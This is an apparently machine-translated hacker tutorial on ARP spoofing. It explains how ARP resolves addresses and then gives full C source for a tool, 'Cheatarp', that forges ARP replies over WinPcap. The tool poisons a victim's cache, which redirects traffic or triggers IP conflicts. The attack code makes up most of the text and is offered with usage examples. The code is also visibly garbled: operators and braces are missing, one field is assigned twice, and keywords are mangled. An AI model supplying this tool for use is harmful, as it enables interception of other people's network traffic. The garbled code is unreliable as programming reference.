The technical principle and application of ARP spoofs
Writeby: liond8
Email: liond8@126.com
Wesite: http://liond8.126.com
Do you know how the packet is transmitted on the LAN? Is it transferred by it? Maybe you will say that you will rely on the IP address, then you only have half. In fact, it is really transmitted by the network card address of the computer during the transmission.
Now we use examples to simulate the entire process of transmission. There is now a computer A (IP: 192.168.85.1 Mac: AA-AA-AA-AA-AA), another computer B (IP: 192.168.85.100 Mac: BB-BB-BB-BB-BB-BB ) Now use A to ping B. See reply from 192.168.85.100: bytes = 32 TIME <10MS TTL = 32. Then enter Arp -a in the run, which will see information such as 192.168.8.100 BB-BB-BB-BB-BB-BB Dynamic. That is a mapping relationship of the IP address and MAC address in the ARP cache. In Ethernet, data is transmitted by Mac, not an IP address. In fact, behind this is hidden in the secret of ARP. You will be asked, so many computers on the Internet, how did A have found B? Then let's analyze the details. First A, I don't know where B is. Then A first send a broadcast ARP request, that is, the destination MAC is FF-FF-FF-FF-FF, and the destination IP is 192.168.85.100, then bring yourself Source IP, and Source Mac. Then all computers on a network segment receive ARP requests from A. Since each computer has its own unique Mac and IP, then it analyzes the purpose IP 192.168.85.100 Is it its own IP? If not, the NIC will automatically discard the packet. If B receives, after analysis, the destination IP is its own, so it updates its own ARP high speed cache, records the IP and Mac under A. Then B will respond to A an ARP response, which is to turn A source IP, source Mac into the current IP, and destination Mac, and bring its own source IP, source Mac, and send it to A. When the A machine receives the ARP response, update its own ARP cache, that is, record the source IP of the B machine in the ARP response in the cache. Then there is a Mac and IP in the Mac and IP, B machines in the A machine. The ARP request and the response process are over. Since the ARP cache is automatically updated when it is timed, the mapping relationship of IP and MAC will automatically disappear with time without static binding. In the future communication, A is in communication with B, first check the map relationship of the IP and Mac in the ARP cache. If there is, you will get the MAC address directly. If you don't send an ARP request broadcast. , B reconciliation is repeated.
After understanding the basic ARP communication process above, I will now learn ARP fraud technology. When the computer receives the ARP response, no matter whether there is any ARP request, you will update your own cache. With this point, if the C machine (IP: 192.168.85.200 mac: CC-CC-CC-CC-CC-CC) disguised into a B machine to a ARP response, the source Mac of the B machine is CC-CC-CC- CC-CC-CC, source IP still falsified into b IP, 192.168.85.100, then the A-machine ARP cache will be updated by our forged Mac, and the corresponding MAC corresponding to the 192.168.85.100 will become CC-CC- CC-CC-CC-CC. If the A machine uses 192.168.85.100 ie B's IP and B communication, the data packet is sent to the C machine, and the B-machine is not received at all. The basic algorithm for some program implementations is given below. Let's first give the data structure of the ARP header and the request response. as follows:
Ethernet | Ethernet | Frame | Hardware | Protocol | Hardware | Protocol | OP | Transmit | Transmit | Destination Ethernet | Purpose
Destination Address | Source Address | Type | Type | Type | Length | Length | | Ethernet Address | IP | Network Address | IP
6 6 2 2 2 1 1 2 6 4 6 4
| <--- Ethernet first ----> | <---------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----> |
Then we define two structures according to the above data structure as follows:
/ / Define an Ethernet head
Typedef struct ehhdr
{
Uchar EH_DST [6]; / * Destination Ethernet Addrress * /
Uchar EH_SRC [6]; / * Source Ethernet Addresss * /
Ushort ele_type; / * Ethernet Pachet Type * /
} Ehheadr, * pehheadr;
// 28 bytes of ARP request / response
Typedef struct arphdr
{
Ushort arp_hrd; / * format of hardware address * /
Ushort arp_pro; / * format of protocol address * /
Uchar arp_hln; / * length of hardware address * /
Uchar ARP_PLN; / * Length of protocol address * /
Ushort ARP_OP; / * ARP / RARP OPERATION * /
Uchar arp_sha [6]; / * sender hardware address * /
Ulong ARP_SPA; / * Sender Protocol Address * /
Uchar arp_tha [6]; / * Target Hardware Address * /
Ulong ARP_TPA; / * Target Protocol Address * /
Arpheadr, * Parpheadr;
// Pack the two structures defined above
Typedef struct arpppacket
{
EHHEADR EHHDR;
Arpheadr arphdr;
Arppacket, * Parppacket;
Then, the ARP structure we have created will be completed, and the rest is to make our structure to assign the value according to our needs, and then send it out through the adapter. For example, we have to use a C machine, deceive the A-machine, update the MAC of 192.168.85.100 (B IP) in a ARP cache.
First define an ArppCKET structure:
Arppacket arpppacket;
Arppacket.ehdr.eh_type = htons (0x0806); // Data Type ARP Request or Answer
Arppacket.arphdr.arp_hrd = htons (0x0001); // Hardware address is 0x0001 Represents Ethernet address
Arppacket.arphdr.arp_pro = htons (0x0800); // Protocol Type field indicates IP address to 0x0800
Arppacket.ehdr.eh_dst = 0xaaaaaaaaaaa // A machine Mac
Arppacket.ehdr.eh_src = 0xcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
Arppacket.arphdr.arp_hln = 6;
Arppacket.arphdr.arp_pln = 4;
Arppacket.arphdr.arp_op = htons (0x0002); // ARP response value is 2
Arppacket.arphdr.arp_spa = 0xccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc // forged Mac
Arppacket.arphdr.arp_tha = 0xaaaaaaaaaaa ////
Arppacket.arphdr.arp_spa = inet_addr ("192.168.85.100"); // Forged B IP Address
Arppacket.arphdr.arp_tpa = inet_addr ("192.168.85.1"); // IP address of target A
/ / Save the data you want to send in a buffer SzpacketBuf, and you can send the SZPACKETBUF's data.
Memcpy (szpacketbuf, (char *) & arpppacket, sizeof (arpppacket));
To send data, you first have to open an adapter, open an adapter and need to get the name of the adapter first. as follows:
PacketGetadapternames ((char *) Adaptername, & AdapterLength); // Get the name of all adapters.
LPPACKET LPADAPTER = Packetopenadapter ((lptstr) AdapterList [0]); // Open the first piece of adapter
The next subscript starts from 0. Returns a pointer, pointing to an Adapter Object that is correctly initialized
LPPACKET = packetAllocatePacket (); / / to allocate memory for the _packet structure.
PacketinitPacket (LPPACKET, SZPACKETBUF, 60); // The buffer in the Packet structure is set to the passing SzpacketBuf pointer
PacketsetNumWrites (LPADAPTER, 2); // Setting the number of sending is 2 times
// Everything is ready to send:
PacketSendPacket (LPADAPTER, LPPACKET, TRUE); // Sends the data of the SZPACKETBUF through the open adapter.
PacketFreePacket; // Release _Packet structure
PacketCloseadapter (LPADAPTER); // Turn off the adapter
It was then input ARP -A in the operation on the A-machine will discover the original 192.168.85.100 BB-BB-BB-BB-BB-Bb into 192.168.85.100 CC-CC-CC-CC-CC-CC.
In addition, IP conflicts can also be used, and the network executive is using this principle. The following is only briefly introduced. If the A machine receives an ARP answer, the source IP is 192.168.85.1 (of course, forgery), and Mac The address is different from the MAC of A, then the A machine will think that the same IP corresponds to two computers (because two different MAC addresses are found)
Then there will be IP conflicts.
Cheatarp
For example, use me to do tools: Cheatarp 192.168.85.1 Aaaaaaaaaaa 192.168.85.1 Baaaaaaaaaaa then A will be conflicted.
The above is just the basic ideas and core code of the code, interested friends can look at my source code, and there is more detailed comments on the source code.
Source code:
/ *
The technical principle and application of ARP deception
Please install WinPCAP_3_0_a.exe first
Test environment 2K.
Practical platform NT, 2K, XP
* /
#include "stdio.h"
#include "packet32.h"
#include "wchar.h"
#define EPT_IP 0x0800 / * Type: IP * /
#define EPT_ARP 0x0806 / * Type: ARP * /
#define EPT_RARP 0x8035 / * Type: RARP * /
#define arp_hardware 0x0001 / * Dummy Type for 802.3 frames * /
#define arp_request 0x0001 / * ARP Request * /
#define arp_reply 0x0002 / * ARP reply * /
#pragma comment (lib, "packet.lib")
#pragma comment (Lib, "WS2_32.LIB")
#pragma Pack (Push, 1)
/ / Define an Ethernet head
Typedef struct ehhdr
{
Uchar EH_DST [6]; / * Destination Ethernet Addrress * /
Uchar EH_SRC [6]; / * Source Ethernet Addresss * /
Ushort ele_type; / * Ethernet Pachet Type * /
} Ehheadr, * pehheadr;
/ / Define a 28-byte ARP answer / request
Typedef struct arphdr
{
Ushort arp_hrd; / * format of hardware address * /
Ushort arp_pro; / * format of protocol address * /
Uchar arp_hln; / * length of hardware address * /
Uchar ARP_PLN; / * Length of protocol address * /
Ushort ARP_OP; / * ARP / RARP OPERATION * /
Uchar arp_sha [6]; / * sender hardware address * /
Ulong ARP_SPA; / * Sender Protocol Address * /
Uchar arp_tha [6]; / * Target Hardware Address * /
Ulong ARP_TPA; / * Target Protocol Address * /
Arpheadr, * Parpheadr;
// Pack the two structures defined above
Typedef struct arpppacket
{
EHHEADR EHHDR;
Arpheadr arphdr;
Arppacket, * Parppacket;
#pragma pack (POP)
Void usage ();
Void ChangeMacaddr (Char * P, Uchar a []);
Void banner ();
Int main (int Argc, char * argv [])
{
Static char AdapterList [10] [1024];
Tchar SzpacketBuf [512];
Uchar macaddr [6];
LPADAPTER LPADAPTER;
LPPACKET LPPACKET;
Wchar adaptername [2048];
Wchar * TEMP, * TEMP1;
Arppacket arpppacket;
Ulong adapterLength = 1024;
DWORD adapternum = 0;
DWORD NRETCODE, I;
Banner ();
IF (argc! = 5)
{
USAGE ();
Return 0;
}
// Take the name of all adapters.
IF (PacketGetAdapternames ((char *) adaptername, & adapterLength) == false)
{
// adaptername: The buffer that the user is responsible for distributing the name of the adapter to fill in.
// A unicode string separated by a Unicode "0", each is a NIC name
// adapterLength: The size of this buffer
Printf ("Unable to Retrieve the List of the Adapters!");
Return 0;
}
Temp = adaptername;
Temp1 = adaptername;
i = 0;
// Put the adapter in Adaptername, in the COPY to AdapterList [], I started from 0 to the first
While (* Temp! = '0') || (* (TEMP-1)! = '0')))
{
IF (* temp == '0')
{
Memcpy (AdapterList [i], TEMP1, (TEMP-TEMP1) * SIZEOF (WCHAR));
TEMP1 = TEMP 1;
i ;
}
TEMP ;
}
Adapternum = i;
For (i = 0; i WPRINTF (L "% D-% s", i 1, adapterlist [i]); / * Note that you must choose the correct adapter here or you will automatically restart * / / * I am on the machine * / / * 1- _NDISWANIP * / / * 2- _ {02c36709-5318-4861-86DE-a7a81118bfcc} * / / * Select the kind of payment similar to the second item! * / Printf ("SELECT Adapter Number:"); Scanf ("% d", & i); // I am input 2 IF (i> adapternum) { Printf ("NUMBER ERROR!"); Return 0; } // Open the adapter just selected, AdapterList [i-1] is the adapter name // If open success, return a pointer, pointing to an Adapter Object that is correctly initialized. Otherwise, return NULL. LPADAPTER = (LPADADAPTER) Packetopenadapter ((lptstr) AdapterList [i-1]); IF (! lpadapter || (lpadapter-> hfile == invalid_handle_value))) { NRETCODE = GetLastError (); Printf ("Unable to Open the Driver, Error Code:% LX", NRETCODE); Return 0; } / / Allocate memory to the _packet structure. If successful, return a pointer to the _packet structure. Otherwise, return NULL. LPPACKET = packetallocatepacket (); IF (LPPACKET == NULL) { Printf (": failed to allocate the lpppacket structure."); Return 0; } Memset (SzpacketBuf, 0, Sizeof (SzpacketBuf)); // Initialization SzpacketBuf is 0 ChangeMacaddr (Argv [2], MacAddr); // MAC address conversion Memcpy (arpppacket.ehdr.eh_dst, macaddr, 6); // destination MAC address ChangeMacaddr (Argv [4], MacAddr); // MAC address conversion Memcpy (arpppacket.ehdr.eh_src, macaddr, 6); // source MAC address. Arppacket.ehdr.eh_type = htons (ePt_arp); // Data Type ARP Request or Answer Arppacket.arphdr.arp_hrd = htons (arp_hardware); / / Hardware address is 0x0001 Represents Ethernet address Arppckt.arphdr.arp_pro = htons (ept_ip); // Protocol Type field represents IP address // Hardware address length and protocol address length indicate the length of the hardware address and protocol address, respectively. // in bytes. For an ARP request or response to an Ethernet IP address, their values are 6 and 4, respectively. Arppacket.arphdr.arp_hln = 6; Arppacket.arphdr.arp_pln = 4; Arppacket.arphdr.arp_op = htons (arp_reply); // ARP request value is 1, the ARP response value is 2, the RARP request value is 3, the RARP response value is 4 ChangeMacaddr (Argv [4], MacAddr); // MAC address conversion Memcpy (arpppacket.arphdr.arp_sha, macaddr, 6); // Forged MAC address Arppacket.arphdr.arp_spa = inet_addr (argv [3]); // Forged IP Address ChangeMacaddr (Argv [2], MacAddr); // MAC address conversion MEMSET (arpppacket.arphdr.arp_tha, 0, 6); // Initialization 0 Memcpy (arpppacket.arphdr.arp_tha, macaddr, 6); // target MAC address Arppacket.arphdr.arp_tpa = inet_addr (argv [1]); // target IP address // copy the Arppacket structure you just fake to SzpacketBuf Memcpy (szpacketbuf, (char *) & arpppacket, sizeof (arpp)); // Initialize a _packet structure, the buffer in the Packet structure is set to the passing SzpacketBuf pointer. // LPPACKET, pointing to a plug of a _packet structure. // szpacketbuf, a pointer to a buffer to a user assigned. // 60, the size of the buffer. This is a read operation to the maximum amount of data transmitted from Driver to the application. PacketinitPacket (LPPACKET, SZPACKETBUF, 60); // Set the number of sending 2 times IF (PacketsetNumWrites (LPADAPTER, 2) == FALSE) { Printf ("Warning: Unable to send more than one packet in a single write!"); } / / Send a povered packet IF (PacketSendPacket (LPADAPTER, LPPACKET, TRUE) == FALSE) { Printf ("ERROR Sending The Packets!"); Return 0; } Printf ("Send OK!"); PacketFreePacket; // Release _Packet structure PacketCloseadapter (LPADAPTER); // Turn off the adapter Return 0; } Void usage () { Printf ("CHEATARP Printf ("Such as:"); Printf ("Cheatarp 192.168.85.1 ffffffffffffff 192.168.85.129 00056e9d042"); Printf ("CHEATARP 192.168.85.1 00056E9D041 192.168.85.129 aaaaaaaaaaaa"); } / / Transform the 12-byte MAC string of the input to 6 bytes of 16-backed MAC address Void ChangeMacaddr (char * p, uchar a []) { CHAR * P1 = NULL; INT i = 0; Int high, low; CHAR TEMP [1]; FOR (i = 0; i <6; i ) { P1 = p 1; Switch (* p1) // calculate low 16 advancement { Case 'a': Low = 10; Break; Case 'b': Low = 11; Break; Case 'c': Low = 12; Break; Case 'd': Low = 13; Break; Case 'E': Low = 14; Break; Case 'f': Low = 15; Break; DEFAULT: TEMP [0] = * P1; Low = ATOI (TEMP); // If the number is directly converted into the corresponding value } Switch (* p) // calculate the high 16 { Case 'a': high = 10; Break; Case 'b': high = 11; Break; Case 'c': high = 12; Break; Case 'd': high = 13; Break; Case 'e': high = 14; Break; Case 'f': high = 15; Break; Default: Temp [0] = * P; HIGH = ATOI (TEMP); // If the number is directly converted into the corresponding value } P = 2; / / Pointer pointing down the next x (high) x (low) string a [i] = high * 16 low; // sum up 16 enumeration value } } Void banner () { Printf ("Made By LionD8."); Printf ("www.hackerxfiles.com"); } If reproduced: Please explain the author information, indicating the starting publication.